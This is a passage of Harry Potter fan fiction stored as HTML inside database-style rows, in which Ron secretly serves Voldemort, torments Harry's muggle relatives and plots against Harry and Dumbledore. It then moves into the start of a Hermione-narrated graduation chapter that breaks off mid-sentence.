style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The rest of the day was as bad as potions\nhad been.&nbsp; He got tangled in a Devil&#8217;s\nsnare in herbology, received a death prediction from Trelawney (he would die at\nHarry&#8217;s side, after they had defeated he-who-must-not-be-named (Ron laughed at\nthe irony)), and was hit by a quiz in history of magic.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">And no matter how hard he tried, he\ncouldn&#8217;t avoid Harry and Hermione.&nbsp; They\ninsisted on tagging along after him no matter how much he told them to go and\nhave some time to themselves.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;But Ron,&#8221; Harry protested, &#8220;we had time\ntogether all summer, and we missed you.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Really, Harry, just go and enjoy your\ntime with Hermione,&#8221; her replied every time Harry hit him with the\nprotest.&nbsp; In the end, Harry caved, but\nsoon Hermione started bugging him, too.&nbsp;\nIt was harder to lie to her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">About a hundred repetitions of his\nprotest later, it was time for his detention.&nbsp;\nHe made a show of not wanting to go spend a few hours with Snape, and\nleft quickly.&nbsp; He was almost in the\ndungeon classroom when the mark started to burn.&nbsp; He met Snape at the door, and was quickly pulled inside, the door\nlocked, and the fireplace lit.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Snape didn&#8217;t say anything.&nbsp; He just stepped into the fire and touched\nhis mark.&nbsp; Ron followed his example, and\nsoon found himself in the somewhat familiar chambers of the Dark Lord.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Welcome back, my faithful servants&#8230;&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center" align="center">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">A/N: Yes, I had to leave the chapter in a\ncliffhanger; it was the only way for me to believably set up the next\nchapter.&nbsp; Hope you liked it.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Cheers!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~*~Professor Granger~*~</p>\n\n\n\n\n\n\n'),
	(1, 4, '\n\n\n\n<p class="MsoTitle">I&#8217;m Falling</p>\n\n<p class="MsoNormal" style="text-align:center" align="center"><b>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</b></p>\n\n<p class="MsoNormal" style="text-align:justify"><b>&nbsp;</b></p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Welcome\nback, my faithful servants.&nbsp; I know that\nthis meeting time is inconvenient for some of you,&#8221; he looked at three of the\nrobed figures standing silently in front of him.&nbsp; &#8220;I have a treat for my newest servant.&nbsp; It will prove his loyalty to me.&nbsp;\nIf he fails, then he will be killed.&nbsp;\nThe task is not impossible, nor is it hard, unless my servant is a\ntraitor.&#8221;&nbsp; Voldemort paused for effect,\nstaring into the black eyes of all of the masks in front of him.&nbsp; &#8220;Weasley! Snape! Step forward.&#8221;</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in;text-align:justify">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; With hesitation, Ron did.&nbsp; It made him nervous that the dark lord might\nconsider him a traitor already, when he had only attended two meetings.&nbsp; <i>It must be the fact that I&#8217;m in\nGryffindor with Harry Potter</i>, he thought.&nbsp;\n<i>But Wormtail was in Gryffindor, too, and as far as I know, he&#8217;s\nloyal.</i></p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in;text-align:justify">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He didn&#8217;t look to the side, but he\ncould feel Snape&#8217;s overpowering presence next to him.&nbsp; It was every bit as intimidating as it was in the Potions\nclassroom, and it was almost as strong as his Master&#8217;s was.&nbsp; Together, they knelt in front of the Dark\nLord, kissed his robes, and retreated a few steps in silence.&nbsp; Ron stared straight ahead, keeping his face\nas blank as possible, even though it was covered by his mask, and shaded by his\nhood.</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in;text-align:justify">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The dark lord made a motion with his\nhands, and Wormtail stepped out from behind the throne, dragging three people\nbehind him.&nbsp; One was a middle-aged,\nlarge and beefy man.&nbsp; Ron struggled to\nkeep his face blank as he recognized who it was, and who the other two must\nbe.&nbsp; It was Harry&#8217;s muggle relatives,\nthe ones that he had to live with over the summer, who hated him.</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in;text-align:justify">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Weasley, we are going to play a\nlittle game.&nbsp; Snape has played many\ntimes, as have all of my other servants.&#8221; Voldemort smiled sadistically.&nbsp; &#8220;I am giving you the gift of three\nmuggles.&nbsp; You may do with them as you\nlike, but keep them alive.&nbsp; When you are\ndone, they will be returned to their home, with their memory intact.&nbsp; It will serve my purpose of destroying\nPotter.&#8221; </p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in;text-align:justify">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Those that didn&#8217;t know exactly who the\nthree muggles were were puzzled by the Dark Lord&#8217;s statement.&nbsp; How could torturing three stupid muggles\nbring down Harry Potter?&nbsp; Ron knew the\nanswer to that one.&nbsp; Over the summer, he\nwas safe from Voldemort while he was at his relative&#8217;s house, but he wasn&#8217;t\nsafe from his relatives.&nbsp; It was\ningenious.</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in;text-align:justify">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Remembering a story Harry had once\ntold him about the boa constrictor at the Zoo, Ron slowly drew his wand and\nhissed, &#8220;<i>serpensortia!</i>&#8221;&nbsp; Slowly,\na large black snake fell out of his wand.&nbsp;\nIt spied its new targets, and moved menacingly forward, circling them\nslowly.</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in;text-align:justify">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron felt instinctively that he had\ncontrol over the snake, as though he had cast the Imperious Curse on it.&nbsp; He thought about what he wanted it to do,\nand watched with some amusement as it followed his orders.</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in;text-align:justify">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It continued to circle, getting\ncloser to the muggles every time.&nbsp;\nFinally, it was brushing their feet every time it passed, and Ron felt a\nsmall bit of satisfaction as he watched the muggles trembling with fear.&nbsp; It circled a few more times, before curling\nup in front of Harry&#8217;s annoying cousin.&nbsp;\nIt raised itself until it was looking straight into the frightened boy&#8217;s\neyes and bared its fangs, as though it was about to strike.&nbsp; Ron noticed the small, rank smelling pool\nthat had formed at the boy&#8217;s feet.&nbsp; <i>Typical,\ncowardly muggle.</i> He thought.&nbsp; It\nbrought a smile to his face.</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in;text-align:justify">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>My father&#8217;s a fool to like them\nso much</i>, he thought.&nbsp; He called his\nmind back to the present, and watched as the boy passed out in fright, almost\nlanding on his mother, who had done the same thing a few minutes before.&nbsp; He hit the ground with a resounding\nthud.&nbsp; Harry&#8217;s uncle looked down at his\nwife and child and screamed.&nbsp; Ron\nlaughed and sent a minor pain spell his way.&nbsp;\nNot as strong as an unforgivable, but enough.&nbsp; The muggle didn&#8217;t know the difference, and continued to scream\nuntil his throat was completely dry.&nbsp;\nFinally, Ron released him, banished the snake, bowed to Voldemort, and\nbacked up so that he was once again standing in the circle of silent, black\nfigures.</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in;text-align:justify">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He smiled, glad that his mask\nprevented anyone from seeing his emotions.&nbsp;\nHe knew that Harry would be happy about the little episode, until he\nwent home for the summer.&nbsp; Then he would\nregret ever having defeated the Dark Lord in the first place.&nbsp; </p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in;text-align:justify;text-indent:.5in">Wormtail levitated the bodies out of the\nchamber, and Voldemort let out a high, cruel laugh.&nbsp; Harry had described it to him before, but it was nothing like he\nhad ever imagined.&nbsp; It rang with\ncruelty, power, and malice.&nbsp; Once again,\nRon felt himself smiling.&nbsp; He liked the\nsound.</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in;text-align:justify;text-indent:.5in">Finally, Voldemort spoke again.&nbsp; &#8220;Weasley, you are indeed a faithful servant,\na very impressive show.&nbsp; Thank you,&#8221;\nVoldemort clapped his hands for a few seconds, and abruptly stopped.&nbsp; The sound echoed for a few seconds, before\nthe room fell into a strangled silence.&nbsp;\n&#8220;Weasley, I want you to continue to find ways to bring down Potter, you\nare closest to him, and he trusts you.&nbsp;\nMake sure you don&#8217;t betray that trust,&#8221; He let out a short, harsh laugh,\nand the sound died the instant he stopped.&nbsp;\nThe room was once again silent for a while before Voldemort barked\n&#8220;Dismissed!&#8221;</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in;text-align:justify;text-indent:.5in">Ron followed Snape out of the room, and\nback to the fireplace.&nbsp; Within seconds,\nhe slammed into the ground in the Potion master&#8217;s dungeon, and scrambled out of\nthe way, so that Snape could return as well.</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in;text-align:justify;text-indent:.5in">&#8220;Well done, Weasley.&#8221; He said as he came\nout of the floo.&nbsp; &#8220;I didn&#8217;t expect that\nfrom you.&#8221;</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in;text-align:justify;text-indent:.5in">Without saying a word, Ron took off his\nmask, handed it to Snape, and left.</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in;text-align:justify;text-indent:.5in">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in;text-align:justify;text-indent:.5in">Back in the Gryffindor Common room, Ron\nsat in front of the fire thinking about what he had just done.&nbsp; He had never thought that he would be a\nperson to torture muggles, especially given what his dad thought about\nthem.&nbsp; <i>He would be disappointed in me</i>,\nRon thought.&nbsp; <i>But he probably won&#8217;t\never find out.</i>&nbsp; </p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in;text-align:justify;text-indent:.5in">He sighed and continued to stare into the\nfire, getting lost in the swirling, dancing colors.&nbsp; Hours passed and he didn&#8217;t notice.&nbsp; He wasn&#8217;t asleep, but he had stopped thinking hours ago.&nbsp; His mind was locked in a fierce battle, but\nhe wasn&#8217;t even aware of it anymore.&nbsp; It\ndidn&#8217;t matter.&nbsp; He would serve his\nmaster no matter what.&nbsp; He had pledged\nhis life, and he would give it.</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in;text-align:justify;text-indent:.5in">&#8220;Ron!&#8221; </p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in;text-align:justify;text-indent:.5in">Ron started, and looked around to see\nwhom it was.&nbsp; It was Hermione, standing\nin her doorway.&nbsp; He cursed himself for\nforgetting that she was an early riser.&nbsp;\nShe liked to have the peace and quiet before the daily grind of classes,\nas she always told him and Harry.&nbsp; It\nwas the one thing that she did that she didn&#8217;t try to persuade them to join\nher.</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in;text-align:justify;text-indent:.5in">&#8220;Hey, Hermione.&#8221;&nbsp; Ron looked guiltily at her.&nbsp; He didn&#8217;t want to talk to anyone, especially\nher, but he couldn&#8217;t get out of the conversation now, he had returned the\ngreeting.</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in;text-align:justify;text-indent:.5in">&#8220;What are you doing out here?&#8221; she\nasked.&nbsp; &#8220;I thought you would still be in\nbed.&nbsp; You&#8217;re never up early.&#8221;</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in;text-align:justify;text-indent:.5in">&#8220;I couldn&#8217;t sleep after detention last\nnight,&#8221; he said.&nbsp; It was true, he\nmused.&nbsp; He couldn&#8217;t sleep.&nbsp; Hadn&#8217;t slept.&nbsp; &#8220;so I just sat down and fell asleep in the chair.&#8221;&nbsp; That was a lie.&nbsp; He couldn&#8217;t remember any other time that he had lied to her, but\nshe couldn&#8217;t know what he did, or he wouldn&#8217;t be able to follow his\norders.&nbsp; If he didn&#8217;t, it would be\ndisaster.&nbsp; &#8220;I&#8217;m sorry if I&#8217;m intruding\non your personal time, Hermione.&#8221; He looked at her with the most sincere\nexpression he could put on.&nbsp; He really\nwas sorry.&nbsp; If it were his time, he\nwould have blown up at the offender.&nbsp; As\nit was, Hermione searched his face, and sat down in the chair next to him.</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in;text-align:justify;text-indent:.5in">&#8220;It&#8217;s ok, Ron.&nbsp; I want to talk to you anyway.&#8221; </p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in;text-align:justify;text-indent:.5in">Ron cringed, turning his face away from\nher so that she wouldn&#8217;t see the expression.&nbsp;\nShe couldn&#8217;t have figured anything out this quickly.&nbsp; He had only been to three meetings, and one\nduring his supposed detention time.&nbsp; </p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in;text-align:justify;text-indent:.5in">She continued, not noticing his\nsilence.&nbsp; &#8220;I&#8217;m sorry Harry and I have\nbeen spending so much time together.&nbsp;\nWe&#8217;re both concerned that you&#8217;ve been feeling left out.&#8221;&nbsp; She looked at him much more carefully this\ntime.&nbsp; &#8220;If you do have a problem, just\ntell us, and we&#8217;ll behave.&nbsp; I promise.&#8221;\nShe smiled, and gave his hand a small squeeze.</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in;text-align:justify;text-indent:.5in">&#8220;It&#8217;s ok, Hermione.&nbsp; I promise.&nbsp;\nI&#8217;ve just been thinking a lot lately.&nbsp;\nI hardly noticed the change.&#8221;&nbsp; <i>That&#8217;s\na lie, </i>he<i> </i>thought<i>.&nbsp; I\nnoticed as soon as I saw you on the train.&nbsp;\nYou couldn&#8217;t wait to get away from me so that you could be alone\ntogether.&nbsp; If you think that&#8217;s the\ntruth, then something happened to you.&nbsp; </i>He\nlooked at her with what he hoped was a sincere expression.&nbsp; <i>Serving the Dark Lord really does have\nbenefits.&nbsp; At least I learned how to\ncontrol my facial expressions.</i>&nbsp; </p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in;text-align:justify;text-indent:.5in">She smiled and nodded, obviously thinking\nabout something that she wasn&#8217;t ready to put into words yet.&nbsp; They sat there for a while in dead silence\nbefore Hermione spoke again.</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in;text-align:justify;text-indent:.5in">&#8220;You&#8217;ve changed, Ron.&nbsp; I don&#8217;t know what happened to you, but\nsomething did.&nbsp; Is it your family?&#8221; She\nasked.</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in;text-align:justify;text-indent:.5in"><i>Damn.&nbsp;\nBreath.&nbsp; Think.&nbsp; Lie.</i>&nbsp; &#8220;No, I think it&#8217;s\njust that it&#8217;s the last year of school.&nbsp;\nIt&#8217;s strange to think that the next time we leave the castle it will be\nfor good.&nbsp; Unless, of course, you come\nback to teach.&nbsp; I don&#8217;t think either\nHarry or I are fit for the job.&nbsp; We\nwouldn&#8217;t assign homework, and we&#8217;d constantly have McGonagall on our backs for\nit.&#8221;&nbsp; <i>Breathe Weasley.&nbsp; Don&#8217;t let her see that you are lying.</i></p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in;text-align:justify;text-indent:.5in">&#8220;I never thought that you would be sad at\nthe thought of leaving school.&nbsp; Just\nthink: after the next nine months, we won&#8217;t have to see Snape ever again.&#8221;</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in;text-align:justify;text-indent:.5in"><i>Oh yes I will.&nbsp; If I&#8217;m going to continue to be in the Dark Lord&#8217;s service after\nschool, then I&#8217;m going to have to see him.&nbsp;\nHe really isn&#8217;t that bad.</i>&nbsp; &#8220;Thank god for that.&nbsp; I don&#8217;t know why he continues to teach.&nbsp; The students don&#8217;t like him, and no one ever\nunderstands what&#8217;s going on.&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in;text-align:justify;text-indent:.5in">&#8220;Oh Ron, If you would pay attention in\nclass instead of trying to plot ways to sabotage his class then you might get\nbetter marks.&#8221;&nbsp; She laughed at her own\njoke.</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in;text-align:justify;text-indent:.5in">&#8220;Not that you can pay attention in any\nclass we share with our savior, Mr. Potter.&#8221;&nbsp;\nHe put an extraordinary amount of emphasis on <i>savior</i>, but she\ntook it as nothing more than it used to be: a jab at everyone&#8217;s view of Harry.</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in;text-align:justify;text-indent:.5in">But Ron had meant it in a different\nway.&nbsp; Sure, the wizarding world saw him\nas a hero for blocking the curse of the Dark Lord once, but to keep thinking\nthat he was a hero when he had actually <i>helped </i>the Dark Lord to rise\nagain was absurd.&nbsp; And there was also\nthe issue of how fast he would fall now that his &#8220;best friend&#8221; had betrayed\nhim.&nbsp; Had been for two months without\nanyone knowing any differently.&nbsp; He\nsnickered quietly.</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in;text-align:justify;text-indent:.5in">Finally, Hermione gave up trying to talk\nto him, seeing that he clearly wasn&#8217;t in the mood for it.&nbsp; She squeezed his hand again, and left,\npresumably to go back to her room to say good morning to Harry.</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in;text-align:justify;text-indent:.5in">Ron wiped his hand on his pants as soon\nas she was gone.&nbsp; He really liked\nHermione.&nbsp; She was smart, funny, kind,\nbeautiful and several other adjectives that came to his mind, but hurt too much\nto think.&nbsp; But she was muggle-born, and\ncould never live up to proper wizarding standards.&nbsp; As much as he liked her and respected her abilities, &nbsp;he still had to watch himself when he was\naround her.&nbsp; Her attention to details\nwas as good as ever, and now that she suspected he was acting strangely, she\nwould stop at nothing to find out what was wrong.&nbsp; Unless he managed to stay out of her way, so that she could\noccupy herself with Harry.&nbsp; If he couldn&#8217;t\nstay away from her, then there would be nothing he could do to keep his secret\nfrom her.</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in;text-align:justify;text-indent:.5in">He knew that he would never be able to\nharm her.&nbsp; She had once been his best\nfriend (besides Potter).&nbsp; He had talked\nto her about everything from potions homework to their first love interests\n(his had been her), and they had been on a few stumbling dates before they had\nrealized that they truly were just friends. &nbsp;Even if she wasn&#8217;t a proper witch, she shouldn&#8217;t be killed.&nbsp; Her intellect was superior, and if she\nmarried a proper, pure-blooded wizard, their children could be legendary.&nbsp; He might even persuade them to follow in\ntheir &#8220;Uncle Ron&#8217;s&#8221; footsteps.&nbsp; </p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in;text-align:justify;text-indent:.5in">He knew that Draco Malfoy was bent on\ngetting her killed.&nbsp; He just had to make\nsure that he never attempted anything.&nbsp;\nHe could argue that she was too close to Potter, and would bring his\nattention to them before they were ready for a fight.</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in;text-align:justify;text-indent:.5in">Harry, <i>Potter</i>, deserved to die.&nbsp; He had defeated the Dark Lord too many\ntimes, and he needed to be taken down a peg, even if the only way to do it was\nto kill him.&nbsp; He couldn&#8217;t be allowed to\nsurvive in the regime the Dark Lord wanted to build.&nbsp; No doubt he would be a foolish Gryffindor and lead a puny\nresistance, only to be crushed along with his small legions.&nbsp; It was too risky to keep him around.&nbsp; He would find some way to take them all down.\n&nbsp;The only way to prevent that was to\ntake him down first.&nbsp; Simple, really,\nwhich is why Harry would never expect it. &nbsp;It saddened him that he was thinking about his former best friend\nin this manner, but it was all for the general good of the wizarding world.&nbsp; After all, their supposed savior was a\nhalf-blood anyway.&nbsp; He ignored the fact\nthat he was currently serving a Master whose blood was less pure than Harry&#8217;s.</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in;text-align:justify;text-indent:.5in">He had pledged his life to the Dark Lord,\nand he would give it if necessary.&nbsp; He\nwas willing to make the sacrifice for a worthy cause, and it truly was.&nbsp; It would give all wizards something to be\nproud of.&nbsp; They wouldn&#8217;t have to hide\nfrom the muggles.&nbsp; They would eventually\nkill all of them, and populate the world with wizards.&nbsp; And they would all be pure-blooded.&nbsp; No more contamination of the\npopulation.&nbsp; Squibs wouldn&#8217;t be allowed\nto reproduce, since they were as worthless as muggles.&nbsp; The only difference was that they knew about\nthe wizarding world.&nbsp; </p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in;text-align:justify;text-indent:.5in"><i>Oh well, </i>he thought, <i>Time to get on with my\nday.&nbsp; Rule number 1 Weasley: Don&#8217;t show\nyour arm, and Rule number 2: Pretend you aren&#8217;t a servant of the Dark\nLord.&nbsp; You can&#8217;t afford to slip up so\nsoon.</i></p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in;text-align:justify;text-indent:.5in">With a sigh, he got up to get changed\n(without showing his left forarm).&nbsp; It\nwas time to face the day in the way he always did: As the Great Harry Potter&#8217;s\nsidekick.&nbsp; He knew that one day that it\nwould change.&nbsp; That Potter would be\nfollowing him around, preferably in chains.&nbsp;\nBut it would be better if he was just plain dead.&nbsp; </p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n12.0pt;margin-left:0in;text-align:justify;text-indent:.5in">As he was leaving the dorm, and idea\nstruck him.&nbsp; Why not capture Sirius\nBlack?&nbsp; They could hand him over to the\nministry, and no one would know who did it.&nbsp;\nBlack would immediately get the Kiss, and Potter would be ruined.&nbsp; Then they could work on Lupin, one by one, taking\naway all of the people that had been close to Lily and James Potter.&nbsp; It would kill Harry, and he would have less\nwork to do.&nbsp; It was too easy.&nbsp; <i>But then I have to find Black first.&nbsp; And if he even suspects that anyone is after\nhim, he&#8217;ll run.</i>&nbsp; <i>But Dumbledore&#8230;&nbsp; A much easier target.&nbsp; Harry&#8217;s beloved mentor must be brought down.</i></p>\n\n\n\n\n\n\n'),
	(2, 1, '\n\n\n\n<p>Graduation</p>\n\n<p>All seventh years were in nice, neat black velvet graduation dress robes, with traditional witch and wizard hats.  Harry and I, being Head\nBoy and Girl, were to each give a speech about memories, challenges, happy times, and all that other sappy end-of-school talk.  I knew I\nwould miss Hogwarts greatly, but I\'d be fine as long as I was in touch with my friends, especially Harry and Ron.</p>\n\n<p>Poor Harry.  Everyone was expecting a huge, moving speech from him, THE Harry Potter.  But I know he doesn\'t have a speech\nprepared yet.  He\'s had blinding pains in his scar, and was sick of people being so proud of him.  He and Ron even joked that he\'d get up\nthere and just say nothing, though I sincerely hoped he wouldn\'t do such a thing.</p>\n\n<p>&quot;You okay?&quot; I asked uncertainly, as he was looking slightly pale.</p>\n\n<p>&quot;Absolutely,&quot; Harry lied.</p>\n\n<p>I had never accumulated enough courage to tell Harry that I loved him.  I always thought that he\'d never take me seriously afterwards.  I\ndidn\'t want to risk losing our friendship.  Not to mention I don\'t think he would ever think of me that way.  I was just Old Dependable\nBookworm Hermione.  The one who never took chances, and tried to never break rules.  The one who never lived life.</p>\n\n<p>But after seven years of crush, I had finally realized that Harry meant everything to me, even if that feeling was one way.  To me, he was\nnot the Boy-Who-Lived, but more like the Boy-Who-Was-Always-Kind-and-a-Great-Friend.  My friend.  The first real one I\'ve had.</p>\n\n<p>Ron was never the same.  I knew he had previously had a crush on me briefly, but he wasn\'t the same person Harry was.  Sure he was\nloyal, and dependable in a crunch, but I had never thought of him as anything more than one of the best friends someone could have.</p>\n\n<p>I had spent weeks making up my speech, writing, revising, memorizing. I had every word, letter, space, and punctuation mark locked\naway in my mind, waiting to be unlocked and unleashed.  My key - memories, experiences, feelings.  Friends, family, foes, studies, and\nmagic.  Happiness, sadness, and love.  Love - the most magical thing of all.</p>\n\n<p>Clapping sounded throughout the Great Hall as Dumbledore finished his own speech, and everyone, including Malfoy, was as silent as\nthe dead as Head Boy Harry Potter walked silently up to the podium.</p>\n\n<p>Sure enough he hadn\'t prepared his speech, but I bet I\'m the only person who noticed.  Words came to him as if they were written in the\nair right in front of his handsome face, but no one could see any letters.</p>\n\n<p>&quot;I have learned many things throughout my time at Hogwarts.  Magic, potions (Here I waited for Ron to snort, snicker, or scream, but\nhe too was mute.), how to care for magical creatures...But most importantly I have learned the value of friendship.  Hogwarts has been\nthe most of a home I\'ve ever had, and the friends and acquaintances I have made are more valuable to me than any charm, incantation,\nbrew, or creature.  Kindness has been shown to me by everyone here at least once, and that has changed my life. The real magic 